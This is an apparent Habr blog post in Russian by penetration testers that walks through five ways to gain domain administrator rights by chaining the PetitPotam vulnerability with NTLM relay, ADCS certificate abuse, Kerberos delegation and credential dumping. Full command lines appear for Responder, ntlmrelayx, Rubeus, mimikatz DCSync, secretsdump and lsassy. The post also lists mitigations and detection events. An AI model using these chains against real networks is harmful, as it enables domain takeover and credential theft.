5 способов, как взять домен с помощью PetitPotam

В последнее время почти на каждом проекте по внутреннему пентесту я встречаю уязвимость PetitPotam. И почти всегда она помогает в получении привилегий администратора домена. При наличии доменной учетной записи (в некоторых случаях возможна эксплуатация уязвимости без аутентификации) атакующий может с помощью специально сформированного запроса заставить уязвимый хост выполнить обращение к произвольному хосту с передачей аутентификационных данных. Подробнее можно почитать в статье «Хакера».

В этой статье я расскажу, как использую эту уязвимость и как мне удалось получить привилегии администратора домена пятью разными способами в реальных проектах.

Источник: https://www.youtube.com/watch?v=_O2k2LAlYn0&ab_channel=PETITPOTAMOFFICIEL%F0%9F%87%AB%F0%9F%87%B7Источник: https://www.youtube.com/watch? v=_O2k2LAlYn0&ab_channel=PETITPOTAMOFFICIEL%F0%9F%87%AB%F0%9F%87%B7

Для атакующего суть уязвимостей одинакова — заставить уязвимый хост выполнить обращение к хосту атакующего. Поэтому вместо PetitPotam могут быть такие уязвимости, как Printer Bug или PrivExchange. Я люблю использовать именно PetitPotam, потому что он чаще всего встречается и в некоторых случаях возможна эксплуатация без аутентификации.

Внимание! Данная статья носит исключительно информационный характер и предназначена для образовательных целей.

Я использую эксплойт с GitHub (https://github.com/topotam/PetitPotam).

Основные параметры:  

  • -u — имя пользователя;

  • -p — пароль пользователя;

  • -d — домен;

  • listener — машина, к которой при эксплуатации обратится уязвимый хост;

  • target — уязвимый хост.

В качестве listener-а чаще всего выступает машина атакующего. Только в одном векторе используется другой хост— я дополнительно это уточню.

Далее в статье фраза «эксплуатируем уязвимость PetitPotam» подразумевает запуск вышеуказанного эксплойта.

python3 PetitPotam.py -u username -p password -d domain.local listener target

Эксплуатация PetitPotamЭксплуатация PetitPotam

Понижение аутентификации до NTLMv1

Это самый простой и быстрый способ эксплуатации. В случае, если групповыми политиками хостам разрешена аутентификация по протоколу NTLMv1, атакующий может заставить хост понизить протокол аутентификации до NTLMv1. Протокол NTLMv1 является небезопасным и позволяет осуществить перебор хеша в течение короткого срока для получения NTLM-хеша учетной записи. Это единственный случай, когда я не сочетаю PetitPotam с атакой NTLM Relay.

Как эксплуатировать

Проще всего реализовать эту атаку с помощью утилиты Responder (https://github.com/SpiderLabs/Responder). Сначала необходимо отредактировать конфигурационный файл утилиты Responder. В /etc/responder/Responder.conf устанавливаем следующий challenge (для того, чтобы затем можно было использовать сайт https://crack.sh/get-cracking):

Challenge = 1122334455667788

Затем запускаем responder с параметром lm:

Responder --lm --I eth0 --A

После этого эксплуатируем уязвимость PetitPotam. И получаем NTLMv1-хеш учетной записи компьютера.

Получение NTLMv1-хешей с помощью ResponderПолучение NTLMv1-хешей с помощью Responder

Затем идем на сайт https://crack.sh/get-cracking. Вводим хеш в формате NTHASH: hash (пример: NTHASH: CA931F621C07AB571662D7DA05A397FB3B16EB1608D4B7DB), email.

Перебор NTLMv1-хешей на этом сайте бесплатный и обычно занимает меньше минуты, а результат приходит в письме на указанный email. В итоге мы получаем NTLM-хеш учетной записи компьютера. Этот сайт использует радужные таблицы для восстановления NTLM-хэша из NTLMv1. Теоретически вы можете использовать какие-то локальные утилиты (например, rainbowcrack), но для этого необходимо подготовить радужные таблицы. Нет смысла пытаться восстановить пароль по словарям или даже перебором, так как пароли машинных учетных записей генерируются автоматически.  

Пример письма с NTLM-хешомПример письма с NTLM-хешом

В случае, если получен NTLM-хеш учетной записи контроллера домена, можно сразу провести атаку DCSync и получить NTLM-хеши всех пользователей домена из базы NTDS. Или можно провести атаку Silver Ticket.

На примере ниже с помощью утилиты secretsdump.py были получены NTLM-хеши из базы NTDS:

secretsdump.py -just-dc -hashes :ntlm-hash -outputfile ntds domain.local/vuln-hostname@dc

Дамп NTDSДамп NTDS

Как защититься

В групповых политиках (Computer Configurations → Policies → Windows Settings → Security Settings → Local Policies → Security Options and find the policy Network Security: LAN Manager authentication level) на контроллере домена необходимо отключить использование NetNTLMv1, затем включить обязательное использования NTLMv2 и запрет на использование LM либо NTLMv1.

Выпуск сертификата в центре сертификации

Это самый популярный способ использования PetitPotam. В случае, если в инфраструктуре есть центр сертификации (Active Directory Certificate Services), и в нем активированы службы Web Enrollment или Certificate Enrollment Web Service, атакующий может провести атаку NTLM Relay на центр сертификации, получить сертификат хоста и затем с помощью сертификата получить TGT-билет. Далее можно также получить NTLM-хеш учетной записи хоста.

Как эксплуатировать

Для начала необходимо найти центр сертификации. Лучший способ — посмотреть членов группы CERT PUBLISHERS (ИЗДАТЕЛИ СЕРТИФИКАТОВ). Затем проверяем, открыт ли 80-й порт на хостах из этой группы. Запускаем ntlmrelayx.py с relay-атакой на центр сертификации. В некоторых случаях можно изменить используемый шаблон (например, если в центре сертификации не используются стандартные шаблоны).

ntlmrelayx.py -smb2support -t http://CA-IP/certsrv/certfnsh.asp --adcs --template KerberosAuthentication

Запуск ntlmrelayx.pyЗапуск ntlmrelayx.py

Затем эксплуатируем PetitPotam, получаем запрос. Ntlmrelayx.py генерирует запрос, отправляет его в центр сертификации. В результате атаки мы получаем сертификат в base64.

Получение сертификата хостаПолучение сертификата хоста

Декодируем сертификат и запрашиваем с его помощью TGT-билет. Для этого я использую PKINIT tools (https://github.com/dirkjanm/PKINITtools):

сat base64_cert.txt | base64 -d > host_cert.pfx
python3 gettgtpkinit domain.local/vuln-hostname\$ -cert-pfx path-to-cert host.ccache

Декодирование сертификатаДекодирование сертификатаПолучение TGT с помощью сертификатаПолучение TGT с помощью сертификата

Имея TGT-билет хоста, уже можно выполнять какие-то действия. Но я обычно получаю NTLM-хеш учетной записи хоста с использованием утилиты getnthash.py. В параметре key нужно указать AS-REP encryption key, который был получен при выпуске TGT-билета:

export KRB5CCName=host.ccache
python3 getnthash.py domain.local/vuln-hostname\$ -key as-rep-key

Получение NTLM-хеша пароля хостаПолучение NTLM-хеша пароля хоста

Далее этот NTLM-хеш можно использовать для атак Pass-the-Hash или для атаки Silver Ticket. Я выбрала атаку Silver Ticket: создала TGS-билет для пользователя adm, который является администратором домена и администратором на уязвимом хосте. С помощью полученного билета я сдампила учетные данные из памяти процесса lsass.exe и получила пароль администратора домена в открытом виде:

ticketer.py -nthash hash -domain-sid sid -domain doman.local -spn cifs/vuln-hostname.domain.local username
export KRB5CCNAME=path-to-ccache
crackmapexec smb vuln-hostname -k -u username -M lsassy

Получение Silver TicketПолучение Silver TicketЭкспорт TGSЭкспорт TGSДамп памяти lsass.exeДамп памяти lsass.exe

Как защититься

  1. Если не используете службы Certificate Authority Web Enrollment и Certificate Enrollment Web Service, то отключить их.

  2. Включить Extended Protection for Authentication (EPA) и установить параметр Require TLS.

  3. Запретить NTLM на всех центрах сертификации в домене с помощью групповых политик.

  4. Отключить NTLM в IIS на хосте с ролью Центра сертификации.

Подробная инструкция: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773–4043–4aa9-b23d-b87910cd3429

Неограниченное делегирование Kerberos

Неограниченное делегирование — это привилегия, которая может быть назначена учетной записи компьютера или пользователя. Данная привилегия позволяет этой учетной записи проходить аутентификацию в сервисах от имени других учетных записей.

Что это дает атакующему?

Если у вас есть привилегии локального администратора на хосте с неограниченным делегированием, вы можете получить TGT-билеты пользователей, которые проходят аутентификацию на этом хосте, и переиспользовать их до истечения срока действия.

Как эксплуатировать

Для начала нам нужен хост с неограниченным делегированием, на котором у нас есть привилегии локального администратора. Для поиска хостов с неограниченным делегированием, которые не являются контроллерами домена, я использую кастомный запрос Bloodhound. Этот запрос я взяла из чужого репозитория (https://github.com/hausec/Bloodhound-Custom-Queries):

{
            "name": "Find computers that allow unconstrained delegation that aren’t domain controllers.",
            "queryList": [{
                "final": true,
                "query": "MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2"
            }]
        },

Для эксплуатации нам потребуется Rubeus.exe. Подключаемся к хосту (я подключаюсь по RDP). Запускаем от имени SYSTEM Rubeus.exe в режиме монитора:

Rubeus.exe /monitorinterval:1 /targetuser:hostname$ /nowrap

Эксплуатируем PetitPotam. В качестве listener-а указываем dns-имя хоста с неограниченным делегированием, на котором мы запустили Rubeus. В Rubeus получаем TGT-билет уязвимого хоста в base64. Можно декодировать его и использовать на Kali Linux. А можно продолжить работать на этом же хосте, как сделала я.

ПолучениеTGT хоста с помощью RubeusПолучениеTGT хоста с помощью Rubeus

Проводим атаку Pass-the-Ticket. Сначала декодируем base64 и записываем TGT в файл. А затем используем mimikatz.exe для атаки. Так как в моем случае уязвимым был контроллер домена, после атаки Pass-the-Ticket я провела атаку DCSync и получила NTLM-хеш администратора домена, который можно использовать для Pass-the-Hash:

[IO.File]::WriteAllBytes("ticket-filename.kirbi”:, [Convert]::FromBase64String("base64-ticket”))
Mimikatz.exe
kerberos::ptt ticket-filename.kirbi
lsadump::dcsync /user:adin_username

Декодирование TGTДекодирование TGTАтаки Pass-the-Ticket и DCSyncАтаки Pass-the-Ticket и DCSync

Как защититься

Провести инвентаризацию всех хостов с неограниченным делегированием. В случае, если эта привилегия не нужна, отключить ее.

Ограниченное делегирование Kerberos на основе ресурсов

При делегировании Kerberos на основе ресурсов компьютеры (ресурсы) указывают, кому они доверяют и кто может делегировать им аутентификацию. Учетные записи, которым доверяют компьютеры, указаны в атрибуте msDS-AllowedToActOnBehalfOfOtherIdentity. Если атакующий добавит в этот атрибут имя скомпрометированного компьютера (или любого компьютера, от имени которого он может пройти аутентификацию), то он сможет притвориться для целевого хоста кем угодно — например, администратором.

Как эксплуатировать

Для эксплуатации должна быть возможность проведения атаки NTLM Relay на LDAPS-сервер. Чаще всего я добавляю параметр remove-mic для эксплуатации уязвимости CVE-2019–1040.

Запускаем ntlmrelayx.py:

ntlmrelayx.py -t ldaps://dc-ip --remove-mic --delegate-access

Затем эксплуатируем PetitPotam. Если атака была успешной, мы получим имя и пароль только что созданной учетной записи компьютера.

Создание учетки компьютера и предоставление ей привилегийСоздание учетки компьютера и предоставление ей привилегий

С помощью этой учетной записи запрашиваем TGS для любого пользователя. Я запрашивала для администратора домена. Что можно сделать, имея TGS, я писала выше.

getST.py -spn host/vuln-host -impersomaite admin-name ‘domain.local/new-hostname$’

Запрос TGSЗапрос TGS

Так как в моем случае уязвим был контроллер домена, я получила NTLM-хеши всех учетных записей из базы NTDS:

export KRB5CCNAME=admin-name.ccache
secretsdump.py -just-dc -k -no-pass -outputfile ntds dc

Дамп NTDSДамп NTDS

Как защититься

  1. Включить обязательную подпись LDAP.

  2. Для усложнения атаки запретить непривилегированным пользователям и учетным записям компьютеров добавлять новые устройства в домен.

  3. Установить обновление безопасности от Microsoft, если оно не установлено (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019–1040).

Атака NTLM Relay на SMB

Бывает такое, что учетная запись компьютера является локальным администратором на другом компьютере. Например, я несколько раз встречала, что члены группы EXCHANGE TRUSTED SUBSYSTEM являются локальными администраторами на серверах Exchange. В этом случае PetitPotam можно сочетать с атакой NTLM Relay на SMB — отсутствие подписи на SMB встречается довольно часто.

Как эксплуатировать

Сначала нужно найти хосты, которые являются администраторами на других хостах. Для этого я использую кастомный запрос в Bloodhound и проверяю привилегии группы EXCHANGE TRUSTED SUBSYSTEM. Я не эксперт в кастомных запросах Bloodhound, поэтому он не идеальный. Если у вас есть идеи, как его улучшить, напишите, пожалуйста, в комментариях.

{
            "name": "List all computers which are local admins on other computer",
            "queryList": [{
                "final": true,
                "query": "MATCH p=(m:Computer)-[r:AdminTo]->(n:Computer) RETURN p"
            }]
        }

Проверка привилегий группы Exchange Trusted SubsystemПроверка привилегий группы Exchange Trusted SubsystemСписок членов группы Exchange Trusted SubsystemСписок членов группы Exchange Trusted Subsystem

Если нашлось несколько хостов, на которых выбранный хост или группа являются администратором, то создаем файл со списком этих хостов. Затем запускаем ntlmrelayx.py:

ntlmrelayx.py -tf exchanges-list.txt -socks

После эксплуатации PetitPotam на хосте, который является администратором (в моем случае это EXCH03), получаем SMB-сессии от имени администратора.

SMB-сессииSMB-сессии

Далее редактируем конфигурационный файл /etc/proxychains. В списке должен быть только один прокси-сервер:

socks4 127.0.0.1 1080

Имея SMB-сессию администратора, можно использовать smbclient.py, crackmapexec и множество других утилит. 

Подробнее про механизм можно почитать здесь (https://www.secureauth.com/blog/playing-with-relayed-credentials/). Я предлагаю выгрузить учетные данные из реестра (SAM и LSA). Для этого используем secretsdump.py:

proxychains secretsdump.py -no-pass ‘domain.local/victim-ip$’@hostname

Дамп учетных данных из реестраДамп учетных данных из реестраПолучение пароля учетки из реестраПолучение пароля учетки из реестра

В результате мы получаем NTLM-хеши локальных пользователей, в том числе локального администратора, которые можно использовать для атаки Pass-the-hash. Еще мы можем получить DCC2-хеши доменных пользователей, которые ранее аутентифицировались на хосте. Их можно побрутить. Еще иногда можно получить в открытом виде пароли пользователей, от имени которых запускаются службы. Это как раз мой случай — пользователь VeeamBackup оказался администратором домена.

Как защититься

  1. Включить подпись на SMB.

  2. Провести инвентаризацию и удалить лишние привилегии.

Общие рекомендации для устранения PetitPotam

Для предотвращения эксплуатации PetitPotam необходимо:

  1. Установить обновления безопасности от Microsoft (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021–36942, https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022–26925).

  2. Применить RPC-фильтры, как описано в статье https://kb.cert.org/vuls/id/405600.

  3. Заблокировать исходящий трафик на 445-й порт от контроллеров домена к произвольным узлам.  

Как детектировать PetitPotam

Детектировать следы эксплуатации PetitPotam можно несколькими способами.

1. После успешной эксплуатации уязвимости PetitPotam генерируется событие успешного логина (4624 в журнале Security) со специфичными параметрами.

Данные параметры могут использоваться:

Event ID = 4624

2. В процессе эксплуатации PetitPotam возникает принудительная проверка подлинности, в результате чего генерируется событие доступа к общей папке IPC (5145 в журнале Security):

Event ID = 5145

Обратите внимание, что для генерации события 5145 должны быть включены расширенные настройки аудита:

3. Можно детектировать факт успешной эксплуатации уязвимости PetitPotam, когда злоумышленник пробует запросить TGT после получения сертификата (вектор описан в пункте «Выпуск сертификата в центре сертификации»). Дело в том, что при запросе TGT атакующий будет обращаться к контроллеру домена со своей машины под машинной УЗ контроллера домена. Таким образом в событии запроса TGT (событие 4768 в журнале Security) появится IP-адрес атакующего.

Обратите внимание, что для такого детектирования PetitPotam необходимо выполнить следующие подготовительные действия:

  • создать список контроллеров домена;

  • создать список IP-адресов контроллеров домена;

  • настроить политику расширенного аудита для генерации событий 4768: Account Logon > Kerberos Authentication Service > Success/Failure.

Event ID = 4768

Сама по себе уязвимость PetitPotam не является критической, однако в сочетании с недостатками конфигурации или особенностями инфраструктуры может быть очень опасной. Конечно, мне как пентестеру нравится, что почти в любой компании можно получить привилегии администратора домена с помощью этой уязвимости, но я рекомендую принять меры для ее устранения. Ведь наша цель — повысить уровень информационной безопасности.

Источники изображений в этом посте: «Инфосистемы Джет»

6c4b061a2bd61735d9c7a56d9a007143.jpegИрина Беляева

старший консультант по информационной безопасности Центра информационной безопасности «Инфосистемы Джет»

55438b06ab32898e6dbf43fb4e02c63f.jpgАлександр Ахремчик

ведущий аналитик центра мониторинга и реагирования на инциденты ИБ Jet CSIRT «Инфосистемы Джет»

© Habrahabr.ru